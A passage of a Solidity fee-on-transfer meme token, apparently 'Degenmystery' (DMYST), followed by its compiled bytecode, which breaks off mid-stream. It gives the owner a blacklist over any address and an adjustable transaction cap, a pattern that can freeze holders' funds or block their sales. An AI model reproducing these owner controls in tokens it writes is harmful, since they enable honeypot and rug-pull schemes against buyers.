_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function startTrading() external onlyOwner() {
require(!tradingOpen, "trading is already started");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461033b578063a9059cbb14610366578063c3c8cd80146103a3578063d543dbeb146103ba578063dd62ed3e146103e357610113565b80636fc3eaec146102a557806370a08231146102bc578063715018a6146102f95780638da5cb5b1461031057610113565b806323b872dd116100dc57806323b872dd146101d4578063293230b814610211578063313ce567146102285780635932ead1146102535780636b9990531461027c57610113565b8062b8cf2a1461011857806306fdde0314610141578063095ea7b31461016c57806318160ddd146101a957610113565b3661011357005b600080fd5b34801561012457600080fd5b5061013f600480360381019061013a9190612a3c565b610420565b005b34801561014d57600080fd5b50610156610570565b6040516101639190612edd565b60405180910390f35b34801561017857600080fd5b50610193600480360381019061018e9190612a00565b6105ad565b6040516101a09190612ec2565b60405180910390f35b3480156101b557600080fd5b506101be6105cb565b6040516101cb919061307f565b60405180910390f35b3480156101e057600080fd5b506101fb60048036038101906101f691906129b1565b6105dc565b6040516102089190612ec2565b60405180910390f35b34801561021d57600080fd5b506102266106b5565b005b34801561023457600080fd5b5061023d610c11565b60405161024a91906130f4565b60405180910390f35b34801561025f57600080fd5b5061027a60048036038101906102759190612a7d565b610c1a565b005b34801561028857600080fd5b506102a3600480360381019061029e9190612923565b610ccc565b005b3480156102b157600080fd5b506102ba610dbc565b005b3480156102c857600080fd5b506102e360048036038101906102de9190612923565b610e2e565b6040516102f0919061307f565b60405180910390f35b34801561030557600080fd5b5061030e610e7f565b005b34801561031c57600080fd5b50610325610fd2565b6040516103329190612df4565b60405180910390f35b34801561034757600080fd5b50610350610ffb565b60405161035d9190612edd565b60405180910390f35b34801561037257600080fd5b5061038d60048036038101906103889190612a00565b611038565b60405161039a9190612ec2565b60405180910390f35b3480156103af57600080fd5b506103b8611056565b005b3480156103c657600080fd5b506103e160048036038101906103dc9190612acf565b6110d0565b005b3480156103ef57600080fd5b5061040a60048036038101906104059190612975565b611219565b604051610417919061307f565b60405180910390f35b6104286112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ac90612fdf565b60405180910390fd5b60005b815181101561056c576001600a6000848481518110610500577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061056490613395565b9150506104b8565b5050565b60606040518060400160405280601f81526020017f446567656e6d7973746572797c20742e6d652f446567656e6d79737465727900815250905090565b60006105c16105ba6112a0565b84846112a8565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105e9848484611473565b6106aa846105f56112a0565b6106a5856040518060600160405280602881526020016137b860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061065b6112a0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c329092919063ffffffff16565b6112a8565b600190509392505050565b6106bd6112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461074a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074190612fdf565b60405180910390fd5b600f60149054906101000a900460ff161561079a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079190612f1f565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061082a30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a8565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561087057600080fd5b505afa158015610884573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a8919061294c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561090a57600080fd5b505afa15801561091e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610942919061294c565b6040518363ffffffff1660e01b815260040161095f929190612e0f565b602060405180830381600087803b15801561097957600080fd5b505af115801561098d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b1919061294c565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a3a30610e2e565b600080610a45610fd2565b426040518863ffffffff1660e01b8152600401610a6796959493929190612e61565b6060604051808303818588803b158015610a8057600080fd5b505af1158015610a94573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ab99190612af8565b5050506001600f60166101000a81548160ff0219169083151502179055506000600f60176101000a81548160ff021916908315150217905550678ac7230489e800006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610bbb929190612e38565b602060405180830381600087803b158015610bd557600080fd5b505af1158015610be9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c0d9190612aa6565b5050565b60006009905090565b610c226112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610caf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca690612fdf565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b610cd46112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5890612fdf565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dfd6112a0565b73ffffffffffffffffffffffffffffffffffffffff1614610e1d57600080fd5b6000479050610e2b81611c96565b50565b6000610e78600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d91565b9050919050565b610e876112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0b90612fdf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f444d595354000000000000000000000000000000000000000000000000000000815250905090565b600061104c6110456112a0565b8484611473565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110976112a0565b73ffffffffffffffffffffffffffffffffffffffff16146110b757600080fd5b60006110c230610e2e565b90506110cd81611dff565b50565b6110d86112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611165576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115c90612fdf565b60405180910390fd5b600081116111a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119f90612f9f565b60405180910390fd5b6111d760646111c983683635c9adc5dea000006120f990919063ffffffff16565b61217490919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120e919061307f565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611318576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130f9061303f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611388576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137f90612f5f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611466919061307f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114da9061301f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611553576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154a90612eff565b60405180910390fd5b60008111611596576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158d90612fff565b60405180910390fd5b61159e610fd2565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160c57506115dc610fd2565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b6f57600f60179054906101000a900460ff161561183f573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168e57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e85750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117425750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183e57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117886112a0565b73ffffffffffffffffffffffffffffffffffffffff1614806117fe5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e66112a0565b73ffffffffffffffffffffffffffffffffffffffff16145b61183d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118349061305f565b60405180910390fd5b5b5b60105481111561184e57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f25750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fb57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a65750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fc5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a145750600f60179054906101000a900460ff165b15611ab55742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6457600080fd5b601e42611a7191906131b5565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac030610e2e565b9050600f60159054906101000a900460ff16158015611b2d5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b455750600f60169054906101000a900460ff165b15611b6d57611b5381611dff565b60004790506000811115611b6b57611b6a47611c96565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c165750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2057600090505b611c2c848484846121be565b50505050565b6000838311158290611c7a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c719190612edd565b60405180910390fd5b5060008385611c899190613296565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce660028461217490919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d11573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6260028461217490919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8d573d6000803e3d6000fd5b5050565b6000600654821115611dd8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dcf90612f3f565b60405180910390fd5b6000611de26121eb565b9050611df7818461217490919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5d577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8b5781602001602082028036833780820191505090505b5090503081600081518110611ec9577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6b57600080fd5b505afa158015611f7f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa3919061294c565b81600181518110611fdd577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204430600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a8565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a895949392919061309a565b600060405180830381600087803b1580156120c257600080fd5b505af11580156120d6573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210c576000905061216e565b6000828461211a919061323c565b9050828482612129919061320b565b14612169576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216090612fbf565b60405180910390fd5b809150505b92915050565b60006121b683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612216565b905092915050565b806121cc576121cb612279565b5b6121d78484846122aa565b806121e5576121e4612475565b5b50505050565b60008060006121f8612487565b9150915061220f818361217490919063ffffffff16565b9250505090565b6000808311829061225d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122549190612edd565b60405180910390fd5b506000838561226c919061320b565b9050809150509392505050565b600060085414801561228d57506000600954145b15612297576122a8565b600060088190555060006009819055505b565b6000806000806000806122bc876124e9565b95509550955095509550955061231a86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123af85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259b90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fb816125f9565b61240584836126b6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612462919061307f565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124bd683635c9adc5dea0000060065461217490919063ffffffff16565b8210156124dc57600654683635c9adc5dea000009350935050506124e5565b81819350935050505b9091565b60008060008060008060008060006125068a6008546009546126f0565b92509250925060006125166121eb565b905060008060006125298e878787612786565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c32565b905092915050565b60008082846125aa91906131b5565b9050838110156125ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e690612f7f565b60405180910390fd5b8091505092915050565b60006126036121eb565b9050600061261a82846120f990919063ffffffff16565b905061266e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259b90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cb8260065461255190919063ffffffff16565b6006819055506126e68160075461259b90919063ffffffff16565b6007819055505050565b60008060008061271c606461270e888a6120f990919063ffffffff16565b61217490919063ffffffff16565b905060006127466064612738888b6120f990919063ffffffff16565b61217490919063ffffffff16565b9050600061276f82612761858c61255190919063ffffffff16565b61255190919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061279f85896120f990919063ffffffff16565b905060006127b686896120f990919063ffffffff16565b905060006127cd87896120f990919063ffffffff16565b905060006127f6826127e8858761255190919063ffffffff16565b61255190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282261281d84613134565b61310f565b9050808382526020820190508285602086028201111561284157600080fd5b60005b858110156128715781612857888261287b565b845260208401935060208301925050600181019050612844565b5050509392505050565b60008135905061288a81613772565b92915050565b60008151905061289f81613772565b92915050565b600082601f8301126128b657600080fd5b81356128c684826020860161280f565b91505092915050565b6000813590506128de81613789565b92915050565b6000815190506128f381613789565b92915050565b600081359050612908816137a0565b92915050565b60008151905061291d816137a0565b92915050565b60006020828403121561293557600080fd5b60006129438482850161287b565b91505092915050565b60006020828403121561295e57600080fd5b600061296c84828501612890565b91505092915050565b6000806040838503121561298857600080fd5b60006129968582860161287b565b92505060206129a78582860161287b565b9150509250929050565b6000806000606084860312156129c657600080fd5b60006129d48682870161287b565b93505060206129e58682870161287b565b92505060406129f6868287016128f9565b9150509250925092565b60008060408385031215612a1357600080fd5b6000612a218582860161287b565b9250506020612a32858286016128f9565b9150509250929050565b600060208284031215612a4e57600080fd5b600082013567ffffffffffffffff811115612a6857600080fd5b612a74848285016128a5565b91505092915050565b600060208284031215612a8f57600080fd5b6000612a9d848285016128cf565b91505092915050565b600060208284031215612ab857600080fd5b6000612ac6848285016128e4565b91505092915050565b600060208284031215612ae157600080fd5b6000612aef848285016128f9565b91505092915050565b600080600060608486031215612b0d57600080fd5b6000612b1b8682870161290e565b9350506020612b2c8682870161290e565b9250506040612b3d8682870161290e565b9150509250925092565b6000612b538383612b5f565b60208301905092915050565b612b68816132ca565b82525050565b612b77816132ca565b82525050565b6000612b8882613170565b612b928185613193565b9350612b9d83613160565b8060005b83811015612bce578151612bb58882612b47565b9750612bc083613186565b925050600181019050612ba1565b5085935050505092915050565b612be4816132dc565b82525050565b612bf38161331f565b82525050565b6000612c048261317b565b612c0e81856131a4565b9350612c1e818560208601613331565b612c278161346b565b840191505092915050565b6000612c3f6023836131a4565b9150612c4a8261347c565b604082019050919050565b6000612c62601a836131a4565b9150612c6d826134cb565b602082019050919050565b6000612c85602a836131a4565b9150612c90826134f4565b604082019050919050565b6000612ca86022836131a4565b9150612cb382613543565b604082019050919050565b6000612ccb601b836131a4565b9150612cd682613592565b602082019050919050565b6000612cee601d836131a4565b9150612cf9826135bb565b602082019050919050565b6000612d116021836131a4565b9150612d1c826135e4565b604082019050919050565b6000612d346020836131a4565b9150612d3f82613633565b602082019050919050565b6000612d576029836131a4565b9150612d628261365c565b604082019050919050565b6000612d7a6025836131a4565b9150612d85826136ab565b604082019050919050565b6000612d9d6024836131a4565b9150612da8826136fa565b604082019050919050565b6000612dc06011836131a4565b9150612dcb82613749565b602082019050919050565b612ddf81613308565b82525050565b612dee81613312565b82525050565b6000602082019050612e096000830184612b6e565b92915050565b6000604082019050612e246000830185612b6e565b612e316020830184612b6e565b9392505050565b6000604082019050612e4d6000830185612b6e565b612e5a6020830184612dd6565b9392505050565b600060c082019050612e766000830189612b6e565b612e836020830188612dd6565b612e906040830187612bea565b612e9d6060830186612bea565b612eaa6080830185612b6e565b612eb760a0830184612dd6565b979650505050505050565b6000602082019050612ed76000830184612bdb565b92915050565b60006020820190508181036000830152612ef78184612bf9565b905092915050565b60006020820190508181036000830152612f1881612c32565b9050919050565b60006020820190508181036000830152612f3881612c55565b9050919050565b60006020820190508181036000830152612f5881612c78565b9050919050565b60006020820190508181036000830152612f7881612c9b565b9050919050565b60006020820190508181036000830152612f9881612cbe565b9050919050565b60006020820190508181036000830152612fb881612ce1565b9050919050565b60006020820190508181036000830152612fd881612d04565b9050919050565b60006020820190508181036000830152612ff881612d27565b9050919050565b6000602082019050818103600083015261301881612d4a565b9050919050565b6000602082019050818103600083015261303881612d6d565b9050919050565b6000602082019050818103600083015261305881612d90565b9050919050565b6000602082019050818103600083015261307881612db3565b9050919050565b60006020820190506130946000830184612dd6565b92915050565b600060a0820190506130af6000830188612dd6565b6130bc6020830187612bea565b81810360408301526130ce8186612b7d565b90506130dd6060830185612b6e565b6130ea6080830184612dd6565b9695505050505050565b60006020820190506131096000830184612de5565b92915050565b600061311961312a565b90506131258282613364565b919050565b6000604051905090565b600067ffffffffffffffff82111561314f5761314e61343c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c082613308565b91506131cb83613308565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613200576131ff6133de565b5b828201905092915050565b600061321682613308565b915061322183613308565b9250826132315761323061340d565b5b828204905092915050565b600061324782613308565b915061325283613308565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328b5761328a6133de565b5b828202905092915050565b60006132a182613308565b91506132ac83613308565b9250828210156132bf576132be6133de565b5b828203905092915050565b60006132d5826132e8565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332a82613308565b9050919050565b60005b8381101561334f578082015181840152602081019050613334565b8381111561335e576000848401525b50505050565b61336d8261346b565b810181811067ffffffffffffffff8211171561338c5761338b61343c565b5b80604052505050565b60006133a082613308565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d3576133d26133de565b5b600182019050919050565b7f4e487b71000000000000